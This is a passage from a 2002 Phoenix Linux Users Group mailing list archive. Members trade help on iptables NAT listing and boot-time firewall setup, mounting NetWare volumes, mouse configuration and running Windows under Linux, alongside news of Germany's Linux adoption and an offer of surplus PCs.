the ncpfs module, but it doesn't work. nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N 5V5D6ElmVvifCzrLPF8nRyM= =d4n0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:55:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:55:36 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <1023126936.12825.12.camel@CX868974-C> On RH 7.2 I use the Microsoft IntelliMouse (PS/2) option. Then you can just go through the KVM. Cheers On Mon, 2002-06-03 at 10:36, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up > as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? > > > > ----- Original Message ----- > From: "David Mandala" > To: > Sent: Monday, June 03, 2002 10:28 AM > Subject: Re: Optical Mice and Linux > > > > Using one right now, I am using the USB to PS2 converter that came with > > it and it works fine. > > > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > > Ok. So I have a rather pertinent question. Anyone use one of the > Microsoft > > > Optical Mice with thier linux distro? if so, how do you like it. I have > a > > > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 > > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > > using two mice, my optical for my Win2K box and my POS intellimouse for > my > > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 11:00:59 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <200206031100.59024.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:36 am, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse > up as under RH 7.3? I don't think I saw an option for Intellimouse > Optical ...? As I mentioned earlier, the USB and PS/2 communications are exactly the same. Assuming that you use /dev/mouse in your configuration files, then you would only need to update the symbolic link so that it points to /dev/psaux. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 11:07:37 -0700 Subject: Bundesregierung waehlt Linux Message-ID: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> IBM signs Linux deal with Germany You've all seen the SlashDot story probably. I big win, of course. Germany's Interior Minister, Otto Schilly, picked Linux to help cut costs and improve security in the nation's computer networks. The BBC article is here: http://news.bbc.co.uk/hi/english/business/newsid_2023000/2023127.stm But I liked the reference of one /. reader to the BbusinessWeek's interview of Microsoft's Richard Purcell, the man charged with heading up Microsoft's Trustworthy Computering Initiative. The interview ended with these two telling questions: Q: In January, Bill Gates sent a memo to staff emphasizing the importance of trustworthy computing. Was it a turning point? A: It's Bill's effort to put the focus of the company on one thing.... My job is to take that -- and Bill has given me this job very explicitly -- and transform the company into a different kind of company that produces products and services that are highly reliable, highly dependable, highly manageable, highly safe through security and privacy practices. Q: Critics would say you're not succeeding. Since the big announcement, a half- dozen security bugs have been found in products such as Internet Explorer, MSN Messenger. How do explain that? A: You can't issue a memo on Jan. 18 and, within two weeks or even two months, have introduced your entire product line that's consistent with that. Trustworthy computing, as I try to emphasize, is about process change, so that products can then be delivered as a result. And it's a very long-term vision -- 5, 10 years, maybe. The full interview is here - http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm So, how many businesses will be willing to wait on Microsoft when Linux is proving itself secure today? Dennis kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 3 Jun 2002 12:01:55 -0700 (MST) Subject: Update: Phoenix.pm: Dan Sugalski speaking June 20th (fwd) Message-ID: Additional info from the Phoenix Perl Mongers about an upcoming Open Source presentation: ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 11:41:17 -0700 From: Doug Miles To: phoenix-pm-list@happyfunball.pm.org Subject: Re: Phoenix.pm: Dan Sugalski speaking June 20th > Dan Sugalski of Parrot fame will be giving his "Parrot Internals" talk > on June 20th. This is part of a fund raising tour for The Perl > Foundation: http://use.perl.org/article.pl?sid=02/05/14/1757228 > > There will be a suggested donation of $50, however, it is not required. Here's some more info: The talk will be at 7:00pm. We'll have dinner beforehand. Send in your restaurant nominations. It should probably be close to downtown, because we will most likely have the talk at Bowne. Please reply directly to Doug Miles, doug.miles@bpxinternet.com , if you are interested. Phoenix Perl Mongers http://phoenix.pm.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 14:01:55 -0500 (CDT) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > IBM signs Linux deal with Germany > > You've all seen the SlashDot story probably. I big win, of course. Germany's > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > security in the nation's computer networks. > What is interesting is GNUe has large developer base in Europe, specifically Austria and Germany. So I get to communicate with folks there a lot. In discussing this with them, what they all find funny is this is old news. German Parliment dictated some time ago that they would be move their servers to GNU/Linux. They even produced a roadmap that all servers would be converted by XXXX date. This announcement is merely that they have chosen a vendor. BTW: Those that like this move, please note that the FSF Europe played a major role in making it happen as part of their "Bundestux" initiative. ("Federal Tux") I find it interesting that American news agencies really aren't reporting much on this, I believe the Slashdot story is from BBC. -Derek From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:15:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 12:15:44 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> Message-ID: <3CFBC060.5E3C81EA@leml.asu.edu> Dennis Kibbe wrote: > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > Penquin". > > Now down to the field for our pre-game show. > > ... ;-) thanks for that... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 12:45:58 -0700 (MST) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: Am 03. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > The full interview is here - > http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm I think the following is interesting: "To find those solutions, we all have a role to play. Individuals have to take more charge of their information. Commerce is going to have to get used to having a more open disclosure model, asking for permission, following those permissions more reliably than they have in the past. Government's going to have to figure out what its role is in terms of being open -- but at the same time, not disclosing too much information, [thus harming] their citizens." It seems very un-m$ to give consumers control over their data. I hope they follow through with this. The next question in the interview covers what he says m$ is working on. Other than the last two questions I don't see anything in the interview about secure apps. ciao, der.hans -- # https://www.LuftHans.com/ # Help Jerry Lewis stamp out M$...oops that's MDA - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:37:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:37:58 -0700 Subject: Bundesregierung waehlt Linux In-Reply-To: References: Message-ID: <1023133078.3cfbc59667c26@webmail.freedom2surf.net> Quoting Derek Neighbors : > On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > IBM signs Linux deal with Germany > > > > You've all seen the SlashDot story probably. I big win, of course. > Germany's > > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > > > security in the nation's computer networks. > > > > What is interesting is GNUe has large developer base in Europe, > specifically Austria and Germany. So I get to communicate with folks > there a lot. In discussing this with them, what they all find funny is > this is old news. > > German Parliment dictated some time ago that they would be move their > servers to GNU/Linux. They even produced a roadmap that all servers would > be converted by XXXX date. This announcement is merely that they have > chosen a vendor. > > BTW: Those that like this move, please note that the FSF Europe played a > major role in making it happen as part of their "Bundestux" initiative. > ("Federal Tux") > > I find it interesting that American news agencies really aren't reporting > much on this, I believe the Slashdot story is from BBC. > > -Derek I was under the impression that this opened up the rest of the German government to Linux since it comes from Schilly. No mention of the Bundestag in the article. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:41:39 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFBC060.5E3C81EA@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> Message-ID: <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Quoting "John (EBo) David" : > Dennis Kibbe wrote: > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > Penquin". > > > > Now down to the field for our pre-game show. > > > > ... > > ;-) thanks for that... > > EBo -- Your welcome. Just ignore the fact that I can't spell penguin. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 13:39:47 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Message-ID: <3CFBD413.2F22C35B@leml.asu.edu> dennisk@sahuaro.f2s.com wrote: > > Quoting "John (EBo) David" : > > > Dennis Kibbe wrote: > > > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > > Penquin". > > > > > > Now down to the field for our pre-game show. > > > > > > ... > > > > ;-) thanks for that... > > > > EBo -- > > Your welcome. > > Just ignore the fact that I can't spell penguin. Dennis I would be the LAST person to give you a hard time about spelling... I once got 10% taken off of a geometry homework for spelling. The teacher said he wanted to make a point and it would not affect my grade anyway. He did make a point, and I still tell the story to this day ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:50:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 16:50:43 -0400 Subject: IP tables lookup Message-ID: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Anyone know off hand how to look up the prerouting and postrounting rules on iptables? I've been trying iptables -L NAT and / or iptables -L PREROUTING. but it keeps telling me no such table. Can someone tell me what I'm doing wrong? (btw yes I know Prerouting isn't actually a table i'm just getting desprate. ). Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Mon, 03 Jun 2002 14:09:59 -0700 Subject: mounting novell volumes References: <200206031058.52521.plug@the-arcanum.org> Message-ID: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Nathan, I haven't heard of a non-Netware method of mounting Netware volumes. Is the server unbootable? FWIW, the best non-Novell tools for Netware that I know of come from: http://www.PortlockSoftware.com - http://www.ontrack.com - http://www.jrbsoftware.com -- large number of "free" utils plus more that cost. Of course, searching through support.novell.com and developer.novell.com yields lots of free tools and info. BTW, if the server *isn't* toasted and you're running NW 5.x or 6 there's support for NFS Could you elaborate on the situation? Steve Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I booted up a novell machine using a bbc cd and I need to mount the novell > volume (/dev/hda2) onto the tree so I can export it. > The fdisk info says it is id 65 Novell Netware 386 > > Does anyone know how I can mount that? I tried the ncpfs module, but it > doesn't work. > > nathan > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > 5V5D6ElmVvifCzrLPF8nRyM= > =d4n0 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 17:09:43 -0400 Subject: iptables missing after reboot Message-ID: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. Carl P. ============================================================ From: mazdaracer Date: 2002/06/03 Mon AM 11:56:01 EDT To: "plug-discuss@lists.PLUG.phoenix.az.us" Subject: iptables missing after reboot After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:35:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 03 Jun 2002 14:35:55 -0700 Subject: eBay Listing Message-ID: <200206032151.RAA16097@hostinworld6.com> This is the sort of thing that gives linux a bad rep or confuses people about linux. Just look at the category it's under! I'm not saying the entire listing is wrong or bad but the top part is misleading to the inexperienced. http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 Just My Little Vent, Bryce C. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:01:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:01:13 -0700 (PDT) Subject: Old computers available Message-ID: I've got about 25 spare computers that my company is looking to sell or donate to a good cause. Here are the stats: Pentium 133Mhz 64MB RAM 1.3GB HD 10Mb NIC 1MB SVGA Video Card Linux installs fine on these computers and they could be put to a lot of good use as a low-traffic web server, DNS server, mail server, router, proxy, or even a thin-client for the Linux Terminal Server Project! :-) Anyone interested? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:04:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 15:04:05 -0700 Subject: iptables missing after reboot References: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <3CFBE7D5.1EBB7EAF@qwest.net> Isn't that how it is done on all the systems? I've dealt with IPf under solaris and ipchains/iptables under RH and I believe debian does the same thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as the last thing the system did upon booting up. > Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. > > Carl P. > ============================================================ > From: mazdaracer > Date: 2002/06/03 Mon AM 11:56:01 EDT > To: "plug-discuss@lists.PLUG.phoenix.az.us" > > Subject: iptables missing after reboot > > After I rebooted my Mandrake 8.1 box, I was unable to get my laptop > connected to the net. I did 'iptables --list' and it was empty. So I > re-ran Mandrake Control Center and did the connection sharing thing and > it was ok. Having to do that after a reboot just ain't right. Is there > something (obviously) that I'm not having start up in the xinetd or rc.d > area? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:15:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dale Farnsworth) Date: Mon, 3 Jun 2002 15:15:09 -0700 Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> References: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: <20020603221509.GA6268@farnsworth.org> On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:35:59 -0700 (MST) Subject: Old computers available In-Reply-To: Message-ID: Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:32:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:32:21 -0700 (MST) Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: Am 03. Jun, 2002 schwätzte Carl Parrish so: > Anyone know off hand how to look up the prerouting and postrounting rules > on iptables? > > I've been trying iptables -L NAT and / or iptables -L PREROUTING but . > it keeps telling me no such table. Can someone tell me what I'm doing . > wrong? (btw yes I know Prerouting isn't actually a table i'm just . > getting desprate. ) . iptables -t nat -nL 'nat' has to be lower case. ciao, der.hans -- # https://www.LuftHans.com/ # Nobody grows old merely by living a number of years. # We grow old by deserting our ideals. # Years may wrinkle the skin, but to give up enthusiasm # wrinkles the soul. -- Samuel Ullman From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:38:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:38:47 -0700 (MST) Subject: iptables missing after reboot In-Reply-To: <3CFBE7D5.1EBB7EAF@qwest.net> Message-ID: Am 03. Jun, 2002 schwätzte Kevin Brown so: > Isn't that how it is done on all the systems? I've dealt with IPf under > solaris and ipchains/iptables under RH and I believe debian does the same > thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as > the last thing the system did upon booting up. It should be done either right after networking. Actually, it should be done in the middle of networking. After the interfaces are up, but before routing gets setup, but that's problematic with how networking's started. Waiting until later exposes your services until the firewall comes up. ciao, der.hans -- # https://www.LuftHans.com/ # "Communications without intelligence is noise; # Intelligence without communications is irrelevant." # Gen. Alfred. M. Gray, USMC From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:37:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:37:25 -0400 Subject: Old computers available Message-ID: <20020603223723.BQEA8234.lakemtao06.cox.net@smtp.central.cox.net> I've got a NPO that could use four of them. Carl Parrish ============================================================ From: "der.hans" Date: 2002/06/03 Mon PM 06:35:59 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:54:28 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: On Mon, 3 Jun 2002, der.hans wrote: > Maybe setup a small LTSP demo at the InstallFest. That's a great idea. I'll plan to do that for the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:46:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:46:27 -0400 Subject: IP tables lookup Message-ID: <20020603224625.BRFP8234.lakemtao06.cox.net@smtp.central.cox.net> Thanks Dale that's what I needed. Carl P. ============================================================ On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:43:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 15:43:17 -0700 Subject: Old computers available References: Message-ID: <016701c20b50$0df4a020$d701870a@jeffbarker> How much are they askin? I might be interested. ----- Original Message ----- From: "Matt Alexander" To: Sent: Monday, June 03, 2002 3:01 PM Subject: Old computers available | I've got about 25 spare computers that my company is looking to sell or | donate to a good cause. | Here are the stats: | | Pentium 133Mhz | 64MB RAM | 1.3GB HD | 10Mb NIC | 1MB SVGA Video Card | | Linux installs fine on these computers and they could be put to a lot of | good use as a low-traffic web server, DNS server, mail server, router, | proxy, or even a thin-client for the Linux Terminal Server Project! :-) | Anyone interested? | Thanks, | ~M | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 15:54:36 -0700 Subject: 05-28-02 Linux Desktop presentation online References: Message-ID: <3CFBF3AC.4AB23697@earthlink.net> VERY NICE!!! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:03:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 3 Jun 2002 16:03:38 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <0206031603380V.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If the company is willing to donate them to a non-profit, I bet we can make some arrangements with AZOTO. Let me know if you want me to contact AZOTO. On Monday 03 June 2002 15:01, you wrote: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPv1yisk3ywszI1FEQLHqACfdDAn9IQ7h1A63nCblNTwXfSXLWYAn29O EmIOtr86QTBRpfXUtZgtQncE =iYSF -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:07:58 -0700 (PDT) Subject: Old computers available In-Reply-To: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: How's $25 each sound? On Mon, 3 Jun 2002, Jeff wrote: > How much are they askin? I might be interested. > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Monday, June 03, 2002 3:01 PM > Subject: Old computers available > > > | I've got about 25 spare computers that my company is looking to sell or > | donate to a good cause. > | Here are the stats: > | > | Pentium 133Mhz > | 64MB RAM > | 1.3GB HD > | 10Mb NIC > | 1MB SVGA Video Card > | > | Linux installs fine on these computers and they could be put to a lot of > | good use as a low-traffic web server, DNS server, mail server, router, > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > | Anyone interested? > | Thanks, > | ~M > | > | ________________________________________________ > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > | > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:57:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Porter) Date: Mon, 3 Jun 2002 10:57:57 -0700 Subject: Windows and Linux Message-ID: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. Also, has anyone run into problems with accessing Windows only devices using either of these options? Mike -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Sunday, May 26, 2002 9:36 PM To: plug-discuss@lists.plug.phoenix.az.us Cc: punkmmiv@cox.net Subject: Re: Windows and Linux On 26 May 2002 22:44:49 -0700 Matt wrote: > I know that Windows and Linux are supposed to operate pretty well > together, but the only articles I've read are about installing Linux > once Windows is already there. I'm running a pure SuSE 8.0 box and I > was wondering if it's possible to install Windows on it while still > being able to use my current install? Try win4lin. It lets you run windows as a window inside your GNU/Linux environment. Unlike VMWare and friends it is not a VM. Also, unlike WINE it actually works and works well. It will even let windows use (read/write) to your GNU/Linux file systems and such. It is not free, but neither is M$ Windows (so I assume you dont have a problem with that) and it is by far the best way to 'suffer' M$ while not having to 'leave' a real operating system. -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:29:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 